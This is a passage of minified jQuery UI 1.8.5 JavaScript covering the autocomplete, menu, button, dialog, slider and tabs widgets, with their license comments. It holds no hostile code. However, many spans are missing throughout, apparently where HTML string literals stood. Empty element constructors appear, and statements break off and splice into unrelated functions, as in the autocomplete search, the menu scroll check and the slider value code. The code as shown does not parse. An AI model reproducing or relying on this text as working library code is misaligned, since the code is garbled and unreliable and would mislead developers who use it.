d.ESCAPE:a.element.val(a.term);a.close(c);break;default:clearTimeout(a.searching);a.searching=setTimeout(function(){if(a.term!=a.element.val()){a.selectedItem=null;a.search(null,c)}},a.options.delay); +break}}}).bind("focus.autocomplete",function(){if(!a.options.disabled){a.selectedItem=null;a.previous=a.element.val()}}).bind("blur.autocomplete",function(c){if(!a.options.disabled){clearTimeout(a.searching);a.closing=setTimeout(function(){a.close(c);a._change(c)},150)}});this._initSource();this.response=function(){return a._response.apply(a,arguments)};this.menu=e("
    ").addClass("ui-autocomplete").appendTo(e(this.options.appendTo||"body",b)[0]).mousedown(function(c){var d=a.menu.element[0]; +c.target===d&&setTimeout(function(){e(document).one("mousedown",function(f){f.target!==a.element[0]&&f.target!==d&&!e.ui.contains(d,f.target)&&a.close()})},1);setTimeout(function(){clearTimeout(a.closing)},13)}).menu({focus:function(c,d){d=d.item.data("item.autocomplete");false!==a._trigger("focus",null,{item:d})&&/^key/.test(c.originalEvent.type)&&a.element.val(d.value)},selected:function(c,d){d=d.item.data("item.autocomplete");var f=a.previous;if(a.element[0]!==b.activeElement){a.element.focus(); +a.previous=f}if(false!==a._trigger("select",c,{item:d})){a.term=d.value;a.element.val(d.value)}a.close(c);a.selectedItem=d},blur:function(){a.menu.element.is(":visible")&&a.element.val()!==a.term&&a.element.val(a.term)}}).zIndex(this.element.zIndex()+1).css({top:0,left:0}).hide().data("menu");e.fn.bgiframe&&this.menu.element.bgiframe()},destroy:function(){this.element.removeClass("ui-autocomplete-input").removeAttr("autocomplete").removeAttr("role").removeAttr("aria-autocomplete").removeAttr("aria-haspopup"); +this.menu.element.remove();e.Widget.prototype.destroy.call(this)},_setOption:function(a,b){e.Widget.prototype._setOption.apply(this,arguments);a==="source"&&this._initSource();if(a==="appendTo")this.menu.element.appendTo(e(b||"body",this.element[0].ownerDocument)[0])},_initSource:function(){var a=this,b,c;if(e.isArray(this.options.source)){b=this.options.source;this.source=function(d,f){f(e.ui.autocomplete.filter(b,d.term))}}else if(typeof this.options.source==="string"){c=this.options.source;this.source= +function(d,f){a.xhr&&a.xhr.abort();a.xhr=e.getJSON(c,d,function(g,i,h){h===a.xhr&&f(g);a.xhr=null})}}else this.source=this.options.source},search:function(a,b){a=a!=null?a:this.element.val();this.term=this.element.val();if(a.length").data("item.autocomplete",b).append(e("").text(b.label)).appendTo(a)},_move:function(a,b){if(this.menu.element.is(":visible"))if(this.menu.first()&&/^previous/.test(a)||this.menu.last()&&/^next/.test(a)){this.element.val(this.term);this.menu.deactivate()}else this.menu[a](b);else this.search(null,b)},widget:function(){return this.menu.element}});e.extend(e.ui.autocomplete,{escapeRegex:function(a){return a.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,"\\$&")}, +filter:function(a,b){var c=new RegExp(e.ui.autocomplete.escapeRegex(b),"i");return e.grep(a,function(d){return c.test(d.label||d.value||d)})}})})(jQuery); +(function(e){e.widget("ui.menu",{_create:function(){var a=this;this.element.addClass("ui-menu ui-widget ui-widget-content ui-corner-all").attr({role:"listbox","aria-activedescendant":"ui-active-menuitem"}).click(function(b){if(e(b.target).closest(".ui-menu-item a").length){b.preventDefault();a.select(b)}});this.refresh()},refresh:function(){var a=this;this.element.children("li:not(.ui-menu-item):has(a)").addClass("ui-menu-item").attr("role","menuitem").children("a").addClass("ui-corner-all").attr("tabindex", +-1).mouseenter(function(b){a.activate(b,e(this).parent())}).mouseleave(function(){a.deactivate()})},activate:function(a,b){this.deactivate();if(this.hasScroll()){var c=b.offset().top-this.element.offset().top,d=this.element.attr("scrollTop"),f=this.element.height();if(c<0)this.element.attr("scrollTop",d+c);else c>=f&&this.element.attr("scrollTop",d+c-f+b.height())}this.active=b.eq(0).children("a").addClass("ui-state-hover").attr("id","ui-active-menuitem").end();this._trigger("focus",a,{item:b})}, +deactivate:function(){if(this.active){this.active.children("a").removeClass("ui-state-hover").removeAttr("id");this._trigger("blur");this.active=null}},next:function(a){this.move("next",".ui-menu-item:first",a)},previous:function(a){this.move("prev",".ui-menu-item:last",a)},first:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},last:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},move:function(a,b,c){if(this.active){a=this.active[a+"All"](".ui-menu-item").eq(0); +a.length?this.activate(c,a):this.activate(c,this.element.children(b))}else this.activate(c,this.element.children(b))},nextPage:function(a){if(this.hasScroll())if(!this.active||this.last())this.activate(a,this.element.children(":first"));else{var b=this.active.offset().top,c=this.element.height(),d=this.element.children("li").filter(function(){var f=e(this).offset().top-b-c+e(this).height();return f<10&&f>-10});d.length||(d=this.element.children(":last"));this.activate(a,d)}else this.activate(a,this.element.children(!this.active|| +this.last()?":first":":last"))},previousPage:function(a){if(this.hasScroll())if(!this.active||this.first())this.activate(a,this.element.children(":last"));else{var b=this.active.offset().top,c=this.element.height();result=this.element.children("li").filter(function(){var d=e(this).offset().top-b+c-e(this).height();return d<10&&d>-10});result.length||(result=this.element.children(":first"));this.activate(a,result)}else this.activate(a,this.element.children(!this.active||this.first()?":last":":first"))}, +hasScroll:function(){return this.element.height()").addClass("ui-button-text").html(this.options.label).appendTo(b.empty()).text(),d=this.options.icons,e=d.primary&&d.secondary;if(d.primary||d.secondary){b.addClass("ui-button-text-icon"+(e?"s":d.primary?"-primary":"-secondary"));d.primary&&b.prepend("");d.secondary&&b.append("");if(!this.options.text){b.addClass(e?"ui-button-icons-only":"ui-button-icon-only").removeClass("ui-button-text-icons ui-button-text-icon-primary ui-button-text-icon-secondary"); +this.hasTitle||b.attr("title",c)}}else b.addClass("ui-button-text-only")}}});a.widget("ui.buttonset",{_create:function(){this.element.addClass("ui-buttonset");this._init()},_init:function(){this.refresh()},_setOption:function(b,c){b==="disabled"&&this.buttons.button("option",b,c);a.Widget.prototype._setOption.apply(this,arguments)},refresh:function(){this.buttons=this.element.find(":button, :submit, :reset, :checkbox, :radio, a, :data(button)").filter(":ui-button").button("refresh").end().not(":ui-button").button().end().map(function(){return a(this).button("widget")[0]}).removeClass("ui-corner-all ui-corner-left ui-corner-right").filter(":visible").filter(":first").addClass("ui-corner-left").end().filter(":last").addClass("ui-corner-right").end().end().end()}, +destroy:function(){this.element.removeClass("ui-buttonset");this.buttons.map(function(){return a(this).button("widget")[0]}).removeClass("ui-corner-left ui-corner-right").end().button("destroy");a.Widget.prototype.destroy.call(this)}})})(jQuery); +;/* + * jQuery UI Dialog 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Dialog + * + * Depends: + * jquery.ui.core.js + * jquery.ui.widget.js + * jquery.ui.button.js + * jquery.ui.draggable.js + * jquery.ui.mouse.js + * jquery.ui.position.js + * jquery.ui.resizable.js + */ +(function(c,j){c.widget("ui.dialog",{options:{autoOpen:true,buttons:{},closeOnEscape:true,closeText:"close",dialogClass:"",draggable:true,hide:null,height:"auto",maxHeight:false,maxWidth:false,minHeight:150,minWidth:150,modal:false,position:{my:"center",at:"center",of:window,collision:"fit",using:function(a){var b=c(this).css(a).offset().top;b<0&&c(this).css("top",a.top-b)}},resizable:true,show:null,stack:true,title:"",width:300,zIndex:1E3},_create:function(){this.originalTitle=this.element.attr("title"); +if(typeof this.originalTitle!=="string")this.originalTitle="";this.options.title=this.options.title||this.originalTitle;var a=this,b=a.options,d=b.title||" ",f=c.ui.dialog.getTitleId(a.element),g=(a.uiDialog=c("
    ")).appendTo(document.body).hide().addClass("ui-dialog ui-widget ui-widget-content ui-corner-all "+b.dialogClass).css({zIndex:b.zIndex}).attr("tabIndex",-1).css("outline",0).keydown(function(i){if(b.closeOnEscape&&i.keyCode&&i.keyCode===c.ui.keyCode.ESCAPE){a.close(i);i.preventDefault()}}).attr({role:"dialog", +"aria-labelledby":f}).mousedown(function(i){a.moveToTop(false,i)});a.element.show().removeAttr("title").addClass("ui-dialog-content ui-widget-content").appendTo(g);var e=(a.uiDialogTitlebar=c("
    ")).addClass("ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix").prependTo(g),h=c('').addClass("ui-dialog-titlebar-close ui-corner-all").attr("role","button").hover(function(){h.addClass("ui-state-hover")},function(){h.removeClass("ui-state-hover")}).focus(function(){h.addClass("ui-state-focus")}).blur(function(){h.removeClass("ui-state-focus")}).click(function(i){a.close(i); +return false}).appendTo(e);(a.uiDialogTitlebarCloseText=c("")).addClass("ui-icon ui-icon-closethick").text(b.closeText).appendTo(h);c("").addClass("ui-dialog-title").attr("id",f).html(d).prependTo(e);if(c.isFunction(b.beforeclose)&&!c.isFunction(b.beforeClose))b.beforeClose=b.beforeclose;e.find("*").add(e).disableSelection();b.draggable&&c.fn.draggable&&a._makeDraggable();b.resizable&&c.fn.resizable&&a._makeResizable();a._createButtons(b.buttons);a._isOpen=false;c.fn.bgiframe&& +g.bgiframe()},_init:function(){this.options.autoOpen&&this.open()},destroy:function(){var a=this;a.overlay&&a.overlay.destroy();a.uiDialog.hide();a.element.unbind(".dialog").removeData("dialog").removeClass("ui-dialog-content ui-widget-content").hide().appendTo("body");a.uiDialog.remove();a.originalTitle&&a.element.attr("title",a.originalTitle);return a},widget:function(){return this.uiDialog},close:function(a){var b=this,d;if(false!==b._trigger("beforeClose",a)){b.overlay&&b.overlay.destroy();b.uiDialog.unbind("keypress.ui-dialog"); +b._isOpen=false;if(b.options.hide)b.uiDialog.hide(b.options.hide,function(){b._trigger("close",a)});else{b.uiDialog.hide();b._trigger("close",a)}c.ui.dialog.overlay.resize();if(b.options.modal){d=0;c(".ui-dialog").each(function(){if(this!==b.uiDialog[0])d=Math.max(d,c(this).css("z-index"))});c.ui.dialog.maxZ=d}return b}},isOpen:function(){return this._isOpen},moveToTop:function(a,b){var d=this,f=d.options;if(f.modal&&!a||!f.stack&&!f.modal)return d._trigger("focus",b);if(f.zIndex>c.ui.dialog.maxZ)c.ui.dialog.maxZ= +f.zIndex;if(d.overlay){c.ui.dialog.maxZ+=1;d.overlay.$el.css("z-index",c.ui.dialog.overlay.maxZ=c.ui.dialog.maxZ)}a={scrollTop:d.element.attr("scrollTop"),scrollLeft:d.element.attr("scrollLeft")};c.ui.dialog.maxZ+=1;d.uiDialog.css("z-index",c.ui.dialog.maxZ);d.element.attr(a);d._trigger("focus",b);return d},open:function(){if(!this._isOpen){var a=this,b=a.options,d=a.uiDialog;a.overlay=b.modal?new c.ui.dialog.overlay(a):null;d.next().length&&d.appendTo("body");a._size();a._position(b.position);d.show(b.show); +a.moveToTop(true);b.modal&&d.bind("keypress.ui-dialog",function(f){if(f.keyCode===c.ui.keyCode.TAB){var g=c(":tabbable",this),e=g.filter(":first");g=g.filter(":last");if(f.target===g[0]&&!f.shiftKey){e.focus(1);return false}else if(f.target===e[0]&&f.shiftKey){g.focus(1);return false}}});c(a.element.find(":tabbable").get().concat(d.find(".ui-dialog-buttonpane :tabbable").get().concat(d.get()))).eq(0).focus();a._isOpen=true;a._trigger("open");return a}},_createButtons:function(a){var b=this,d=false, +f=c("
    ").addClass("ui-dialog-buttonpane ui-widget-content ui-helper-clearfix"),g=c("
    ").addClass("ui-dialog-buttonset").appendTo(f);b.uiDialog.find(".ui-dialog-buttonpane").remove();typeof a==="object"&&a!==null&&c.each(a,function(){return!(d=true)});if(d){c.each(a,function(e,h){h=c.isFunction(h)?{click:h,text:e}:h;e=c("",h).unbind("click").click(function(){h.click.apply(b.element[0],arguments)}).appendTo(g);c.fn.button&&e.button()});f.appendTo(b.uiDialog)}},_makeDraggable:function(){function a(e){return{position:e.position, +offset:e.offset}}var b=this,d=b.options,f=c(document),g;b.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(e,h){g=d.height==="auto"?"auto":c(this).height();c(this).height(c(this).height()).addClass("ui-dialog-dragging");b._trigger("dragStart",e,a(h))},drag:function(e,h){b._trigger("drag",e,a(h))},stop:function(e,h){d.position=[h.position.left-f.scrollLeft(),h.position.top-f.scrollTop()];c(this).removeClass("ui-dialog-dragging").height(g); +b._trigger("dragStop",e,a(h));c.ui.dialog.overlay.resize()}})},_makeResizable:function(a){function b(e){return{originalPosition:e.originalPosition,originalSize:e.originalSize,position:e.position,size:e.size}}a=a===j?this.options.resizable:a;var d=this,f=d.options,g=d.uiDialog.css("position");a=typeof a==="string"?a:"n,e,s,w,se,sw,ne,nw";d.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:d.element,maxWidth:f.maxWidth,maxHeight:f.maxHeight,minWidth:f.minWidth,minHeight:d._minHeight(), +handles:a,start:function(e,h){c(this).addClass("ui-dialog-resizing");d._trigger("resizeStart",e,b(h))},resize:function(e,h){d._trigger("resize",e,b(h))},stop:function(e,h){c(this).removeClass("ui-dialog-resizing");f.height=c(this).height();f.width=c(this).width();d._trigger("resizeStop",e,b(h));c.ui.dialog.overlay.resize()}}).css("position",g).find(".ui-resizable-se").addClass("ui-icon ui-icon-grip-diagonal-se")},_minHeight:function(){var a=this.options;return a.height==="auto"?a.minHeight:Math.min(a.minHeight, +a.height)},_position:function(a){var b=[],d=[0,0],f;if(a){if(typeof a==="string"||typeof a==="object"&&"0"in a){b=a.split?a.split(" "):[a[0],a[1]];if(b.length===1)b[1]=b[0];c.each(["left","top"],function(g,e){if(+b[g]===b[g]){d[g]=b[g];b[g]=e}});a={my:b.join(" "),at:b.join(" "),offset:d.join(" ")}}a=c.extend({},c.ui.dialog.prototype.options.position,a)}else a=c.ui.dialog.prototype.options.position;(f=this.uiDialog.is(":visible"))||this.uiDialog.show();this.uiDialog.css({top:0,left:0}).position(a); +f||this.uiDialog.hide()},_setOption:function(a,b){var d=this,f=d.uiDialog,g=f.is(":data(resizable)"),e=false;switch(a){case "beforeclose":a="beforeClose";break;case "buttons":d._createButtons(b);e=true;break;case "closeText":d.uiDialogTitlebarCloseText.text(""+b);break;case "dialogClass":f.removeClass(d.options.dialogClass).addClass("ui-dialog ui-widget ui-widget-content ui-corner-all "+b);break;case "disabled":b?f.addClass("ui-dialog-disabled"):f.removeClass("ui-dialog-disabled");break;case "draggable":b? +d._makeDraggable():f.draggable("destroy");break;case "height":e=true;break;case "maxHeight":g&&f.resizable("option","maxHeight",b);e=true;break;case "maxWidth":g&&f.resizable("option","maxWidth",b);e=true;break;case "minHeight":g&&f.resizable("option","minHeight",b);e=true;break;case "minWidth":g&&f.resizable("option","minWidth",b);e=true;break;case "position":d._position(b);break;case "resizable":g&&!b&&f.resizable("destroy");g&&typeof b==="string"&&f.resizable("option","handles",b);!g&&b!==false&& +d._makeResizable(b);break;case "title":c(".ui-dialog-title",d.uiDialogTitlebar).html(""+(b||" "));break;case "width":e=true;break}c.Widget.prototype._setOption.apply(d,arguments);e&&d._size()},_size:function(){var a=this.options,b;this.element.css({width:"auto",minHeight:0,height:0});if(a.minWidth>a.width)a.width=a.minWidth;b=this.uiDialog.css({height:"auto",width:a.width}).height();this.element.css(a.height==="auto"?{minHeight:Math.max(a.minHeight-b,0),height:c.support.minHeight?"auto":Math.max(a.minHeight- +b,0)}:{minHeight:0,height:Math.max(a.height-b,0)}).show();this.uiDialog.is(":data(resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())}});c.extend(c.ui.dialog,{version:"1.8.5",uuid:0,maxZ:0,getTitleId:function(a){a=a.attr("id");if(!a){this.uuid+=1;a=this.uuid}return"ui-dialog-title-"+a},overlay:function(a){this.$el=c.ui.dialog.overlay.create(a)}});c.extend(c.ui.dialog.overlay,{instances:[],oldInstances:[],maxZ:0,events:c.map("focus,mousedown,mouseup,keydown,keypress,click".split(","), +function(a){return a+".dialog-overlay"}).join(" "),create:function(a){if(this.instances.length===0){setTimeout(function(){c.ui.dialog.overlay.instances.length&&c(document).bind(c.ui.dialog.overlay.events,function(d){if(c(d.target).zIndex()").addClass("ui-widget-overlay")).appendTo(document.body).css({width:this.width(),height:this.height()});c.fn.bgiframe&&b.bgiframe();this.instances.push(b);return b},destroy:function(a){this.oldInstances.push(this.instances.splice(c.inArray(a,this.instances),1)[0]);this.instances.length===0&&c([document,window]).unbind(".dialog-overlay");a.remove();var b=0;c.each(this.instances,function(){b=Math.max(b,this.css("z-index"))});this.maxZ=b},height:function(){var a, +b;if(c.browser.msie&&c.browser.version<7){a=Math.max(document.documentElement.scrollHeight,document.body.scrollHeight);b=Math.max(document.documentElement.offsetHeight,document.body.offsetHeight);return a");if(!b.values)b.values=[this._valueMin(),this._valueMin()];if(b.values.length&&b.values.length!==2)b.values=[b.values[0],b.values[0]]}else this.range=d("
    ");this.range.appendTo(this.element).addClass("ui-slider-range");if(b.range==="min"||b.range==="max")this.range.addClass("ui-slider-range-"+b.range);this.range.addClass("ui-widget-header")}d(".ui-slider-handle",this.element).length===0&&d("").appendTo(this.element).addClass("ui-slider-handle"); +if(b.values&&b.values.length)for(;d(".ui-slider-handle",this.element).length").appendTo(this.element).addClass("ui-slider-handle");this.handles=d(".ui-slider-handle",this.element).addClass("ui-state-default ui-corner-all");this.handle=this.handles.eq(0);this.handles.add(this.range).filter("a").click(function(c){c.preventDefault()}).hover(function(){b.disabled||d(this).addClass("ui-state-hover")},function(){d(this).removeClass("ui-state-hover")}).focus(function(){if(b.disabled)d(this).blur(); +else{d(".ui-slider .ui-state-focus").removeClass("ui-state-focus");d(this).addClass("ui-state-focus")}}).blur(function(){d(this).removeClass("ui-state-focus")});this.handles.each(function(c){d(this).data("index.ui-slider-handle",c)});this.handles.keydown(function(c){var e=true,f=d(this).data("index.ui-slider-handle"),h,g,i;if(!a.options.disabled){switch(c.keyCode){case d.ui.keyCode.HOME:case d.ui.keyCode.END:case d.ui.keyCode.PAGE_UP:case d.ui.keyCode.PAGE_DOWN:case d.ui.keyCode.UP:case d.ui.keyCode.RIGHT:case d.ui.keyCode.DOWN:case d.ui.keyCode.LEFT:e= +false;if(!a._keySliding){a._keySliding=true;d(this).addClass("ui-state-active");h=a._start(c,f);if(h===false)return}break}i=a.options.step;h=a.options.values&&a.options.values.length?(g=a.values(f)):(g=a.value());switch(c.keyCode){case d.ui.keyCode.HOME:g=a._valueMin();break;case d.ui.keyCode.END:g=a._valueMax();break;case d.ui.keyCode.PAGE_UP:g=a._trimAlignValue(h+(a._valueMax()-a._valueMin())/5);break;case d.ui.keyCode.PAGE_DOWN:g=a._trimAlignValue(h-(a._valueMax()-a._valueMin())/5);break;case d.ui.keyCode.UP:case d.ui.keyCode.RIGHT:if(h=== +a._valueMax())return;g=a._trimAlignValue(h+i);break;case d.ui.keyCode.DOWN:case d.ui.keyCode.LEFT:if(h===a._valueMin())return;g=a._trimAlignValue(h-i);break}a._slide(c,f,g);return e}}).keyup(function(c){var e=d(this).data("index.ui-slider-handle");if(a._keySliding){a._keySliding=false;a._stop(c,e);a._change(c,e);d(this).removeClass("ui-state-active")}});this._refreshValue();this._animateOff=false},destroy:function(){this.handles.remove();this.range.remove();this.element.removeClass("ui-slider ui-slider-horizontal ui-slider-vertical ui-slider-disabled ui-widget ui-widget-content ui-corner-all").removeData("slider").unbind(".slider"); +this._mouseDestroy();return this},_mouseCapture:function(a){var b=this.options,c,e,f,h,g;if(b.disabled)return false;this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()};this.elementOffset=this.element.offset();c=this._normValueFromMouse({x:a.pageX,y:a.pageY});e=this._valueMax()-this._valueMin()+1;h=this;this.handles.each(function(i){var j=Math.abs(c-h.values(i));if(e>j){e=j;f=d(this);g=i}});if(b.range===true&&this.values(1)===b.min){g+=1;f=d(this.handles[g])}if(this._start(a, +g)===false)return false;this._mouseSliding=true;h._handleIndex=g;f.addClass("ui-state-active").focus();b=f.offset();this._clickOffset=!d(a.target).parents().andSelf().is(".ui-slider-handle")?{left:0,top:0}:{left:a.pageX-b.left-f.width()/2,top:a.pageY-b.top-f.height()/2-(parseInt(f.css("borderTopWidth"),10)||0)-(parseInt(f.css("borderBottomWidth"),10)||0)+(parseInt(f.css("marginTop"),10)||0)};this._slide(a,g,c);return this._animateOff=true},_mouseStart:function(){return true},_mouseDrag:function(a){var b= +this._normValueFromMouse({x:a.pageX,y:a.pageY});this._slide(a,this._handleIndex,b);return false},_mouseStop:function(a){this.handles.removeClass("ui-state-active");this._mouseSliding=false;this._stop(a,this._handleIndex);this._change(a,this._handleIndex);this._clickOffset=this._handleIndex=null;return this._animateOff=false},_detectOrientation:function(){this.orientation=this.options.orientation==="vertical"?"vertical":"horizontal"},_normValueFromMouse:function(a){var b;if(this.orientation==="horizontal"){b= +this.elementSize.width;a=a.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)}else{b=this.elementSize.height;a=a.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)}b=a/b;if(b>1)b=1;if(b<0)b=0;if(this.orientation==="vertical")b=1-b;a=this._valueMax()-this._valueMin();return this._trimAlignValue(this._valueMin()+b*a)},_start:function(a,b){var c={handle:this.handles[b],value:this.value()};if(this.options.values&&this.options.values.length){c.value=this.values(b); +c.values=this.values()}return this._trigger("start",a,c)},_slide:function(a,b,c){var e;if(this.options.values&&this.options.values.length){e=this.values(b?0:1);if(this.options.values.length===2&&this.options.range===true&&(b===0&&c>e||b===1&&c1){this.options.values[a]=this._trimAlignValue(b);this._refreshValue();this._change(null,a)}if(arguments.length)if(d.isArray(arguments[0])){c=this.options.values;e=arguments[0];for(f=0;fthis._valueMax())return this._valueMax();var b=this.options.step>0?this.options.step:1,c=a%b;a=a-c;if(Math.abs(c)*2>=b)a+=c>0?b:-b;return parseFloat(a.toFixed(5))},_valueMin:function(){return this.options.min},_valueMax:function(){return this.options.max},_refreshValue:function(){var a= +this.options.range,b=this.options,c=this,e=!this._animateOff?b.animate:false,f,h={},g,i,j,l;if(this.options.values&&this.options.values.length)this.handles.each(function(k){f=(c.values(k)-c._valueMin())/(c._valueMax()-c._valueMin())*100;h[c.orientation==="horizontal"?"left":"bottom"]=f+"%";d(this).stop(1,1)[e?"animate":"css"](h,b.animate);if(c.options.range===true)if(c.orientation==="horizontal"){if(k===0)c.range.stop(1,1)[e?"animate":"css"]({left:f+"%"},b.animate);if(k===1)c.range[e?"animate":"css"]({width:f- +g+"%"},{queue:false,duration:b.animate})}else{if(k===0)c.range.stop(1,1)[e?"animate":"css"]({bottom:f+"%"},b.animate);if(k===1)c.range[e?"animate":"css"]({height:f-g+"%"},{queue:false,duration:b.animate})}g=f});else{i=this.value();j=this._valueMin();l=this._valueMax();f=l!==j?(i-j)/(l-j)*100:0;h[c.orientation==="horizontal"?"left":"bottom"]=f+"%";this.handle.stop(1,1)[e?"animate":"css"](h,b.animate);if(a==="min"&&this.orientation==="horizontal")this.range.stop(1,1)[e?"animate":"css"]({width:f+"%"}, +b.animate);if(a==="max"&&this.orientation==="horizontal")this.range[e?"animate":"css"]({width:100-f+"%"},{queue:false,duration:b.animate});if(a==="min"&&this.orientation==="vertical")this.range.stop(1,1)[e?"animate":"css"]({height:f+"%"},b.animate);if(a==="max"&&this.orientation==="vertical")this.range[e?"animate":"css"]({height:100-f+"%"},{queue:false,duration:b.animate})}}});d.extend(d.ui.slider,{version:"1.8.5"})})(jQuery); +;/* + * jQuery UI Tabs 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Tabs + * + * Depends: + * jquery.ui.core.js + * jquery.ui.widget.js + */ +(function(d,p){function u(){return++v}function w(){return++x}var v=0,x=0;d.widget("ui.tabs",{options:{add:null,ajaxOptions:null,cache:false,cookie:null,collapsible:false,disable:null,disabled:[],enable:null,event:"click",fx:null,idPrefix:"ui-tabs-",load:null,panelTemplate:"
    ",remove:null,select:null,show:null,spinner:"Loading…",tabTemplate:"
  • #{label}
  • "},_create:function(){this._tabify(true)},_setOption:function(a,e){if(a=="selected")this.options.collapsible&& +e==this.options.selected||this.select(e);else{this.options[a]=e;this._tabify()}},_tabId:function(a){return a.title&&a.title.replace(/\s/g,"_").replace(/[^\w\u00c0-\uFFFF-]/g,"")||this.options.idPrefix+u()},_sanitizeSelector:function(a){return a.replace(/:/g,"\\:")},_cookie:function(){var a=this.cookie||(this.cookie=this.options.cookie.name||"ui-tabs-"+w());return d.cookie.apply(null,[a].concat(d.makeArray(arguments)))},_ui:function(a,e){return{tab:a,panel:e,index:this.anchors.index(a)}},_cleanup:function(){this.lis.filter(".ui-state-processing").removeClass("ui-state-processing").find("span:data(label.tabs)").each(function(){var a= +d(this);a.html(a.data("label.tabs")).removeData("label.tabs")})},_tabify:function(a){function e(g,f){g.css("display","");!d.support.opacity&&f.opacity&&g[0].style.removeAttribute("filter")}var b=this,c=this.options,h=/^#.+/;this.list=this.element.find("ol,ul").eq(0);this.lis=d(" > li:has(a[href])",this.list);this.anchors=this.lis.map(function(){return d("a",this)[0]});this.panels=d([]);this.anchors.each(function(g,f){var i=d(f).attr("href"),l=i.split("#")[0],q;if(l&&(l===location.toString().split("#")[0]|| +(q=d("base")[0])&&l===q.href)){i=f.hash;f.href=i}if(h.test(i))b.panels=b.panels.add(b._sanitizeSelector(i));else if(i&&i!=="#"){d.data(f,"href.tabs",i);d.data(f,"load.tabs",i.replace(/#.*$/,""));i=b._tabId(f);f.href="#"+i;f=d("#"+i);if(!f.length){f=d(c.panelTemplate).attr("id",i).addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").insertAfter(b.panels[g-1]||b.list);f.data("destroy.tabs",true)}b.panels=b.panels.add(f)}else c.disabled.push(g)});if(a){this.element.addClass("ui-tabs ui-widget ui-widget-content ui-corner-all"); +this.list.addClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.lis.addClass("ui-state-default ui-corner-top");this.panels.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom");if(c.selected===p){location.hash&&this.anchors.each(function(g,f){if(f.hash==location.hash){c.selected=g;return false}});if(typeof c.selected!=="number"&&c.cookie)c.selected=parseInt(b._cookie(),10);if(typeof c.selected!=="number"&&this.lis.filter(".ui-tabs-selected").length)c.selected= +this.lis.index(this.lis.filter(".ui-tabs-selected"));c.selected=c.selected||(this.lis.length?0:-1)}else if(c.selected===null)c.selected=-1;c.selected=c.selected>=0&&this.anchors[c.selected]||c.selected<0?c.selected:0;c.disabled=d.unique(c.disabled.concat(d.map(this.lis.filter(".ui-state-disabled"),function(g){return b.lis.index(g)}))).sort();d.inArray(c.selected,c.disabled)!=-1&&c.disabled.splice(d.inArray(c.selected,c.disabled),1);this.panels.addClass("ui-tabs-hide");this.lis.removeClass("ui-tabs-selected ui-state-active"); +if(c.selected>=0&&this.anchors.length){this.panels.eq(c.selected).removeClass("ui-tabs-hide");this.lis.eq(c.selected).addClass("ui-tabs-selected ui-state-active");b.element.queue("tabs",function(){b._trigger("show",null,b._ui(b.anchors[c.selected],b.panels[c.selected]))});this.load(c.selected)}d(window).bind("unload",function(){b.lis.add(b.anchors).unbind(".tabs");b.lis=b.anchors=b.panels=null})}else c.selected=this.lis.index(this.lis.filter(".ui-tabs-selected"));this.element[c.collapsible?"addClass": +"removeClass"]("ui-tabs-collapsible");c.cookie&&this._cookie(c.selected,c.cookie);a=0;for(var j;j=this.lis[a];a++)d(j)[d.inArray(a,c.disabled)!=-1&&!d(j).hasClass("ui-tabs-selected")?"addClass":"removeClass"]("ui-state-disabled");c.cache===false&&this.anchors.removeData("cache.tabs");this.lis.add(this.anchors).unbind(".tabs");if(c.event!=="mouseover"){var k=function(g,f){f.is(":not(.ui-state-disabled)")&&f.addClass("ui-state-"+g)},n=function(g,f){f.removeClass("ui-state-"+g)};this.lis.bind("mouseover.tabs", +function(){k("hover",d(this))});this.lis.bind("mouseout.tabs",function(){n("hover",d(this))});this.anchors.bind("focus.tabs",function(){k("focus",d(this).closest("li"))});this.anchors.bind("blur.tabs",function(){n("focus",d(this).closest("li"))})}var m,o;if(c.fx)if(d.isArray(c.fx)){m=c.fx[0];o=c.fx[1]}else m=o=c.fx;var r=o?function(g,f){d(g).closest("li").addClass("ui-tabs-selected ui-state-active");f.hide().removeClass("ui-tabs-hide").animate(o,o.duration||"normal",function(){e(f,o);b._trigger("show", +null,b._ui(g,f[0]))})}:function(g,f){d(g).closest("li").addClass("ui-tabs-selected ui-state-active");f.removeClass("ui-tabs-hide");b._trigger("show",null,b._ui(g,f[0]))},s=m?function(g,f){f.animate(m,m.duration||"normal",function(){b.lis.removeClass("ui-tabs-selected ui-state-active");f.addClass("ui-tabs-hide");e(f,m);b.element.dequeue("tabs")})}:function(g,f){b.lis.removeClass("ui-tabs-selected ui-state-active");f.addClass("ui-tabs-hide");b.element.dequeue("tabs")};this.anchors.bind(c.event+".tabs", +function(){var g=this,f=d(g).closest("li"),i=b.panels.filter(":not(.ui-tabs-hide)"),l=d(b._sanitizeSelector(g.hash));if(f.hasClass("ui-tabs-selected")&&!c.collapsible||f.hasClass("ui-state-disabled")||f.hasClass("ui-state-processing")||b.panels.filter(":animated").length||b._trigger("select",null,b._ui(this,l[0]))===false){this.blur();return false}c.selected=b.anchors.index(this);b.abort();if(c.collapsible)if(f.hasClass("ui-tabs-selected")){c.selected=-1;c.cookie&&b._cookie(c.selected,c.cookie);b.element.queue("tabs", +function(){s(g,i)}).dequeue("tabs");this.blur();return false}else if(!i.length){c.cookie&&b._cookie(c.selected,c.cookie);b.element.queue("tabs",function(){r(g,l)});b.load(b.anchors.index(this));this.blur();return false}c.cookie&&b._cookie(c.selected,c.cookie);if(l.length){i.length&&b.element.queue("tabs",function(){s(g,i)});b.element.queue("tabs",function(){r(g,l)});b.load(b.anchors.index(this))}else throw"jQuery UI Tabs: Mismatching fragment 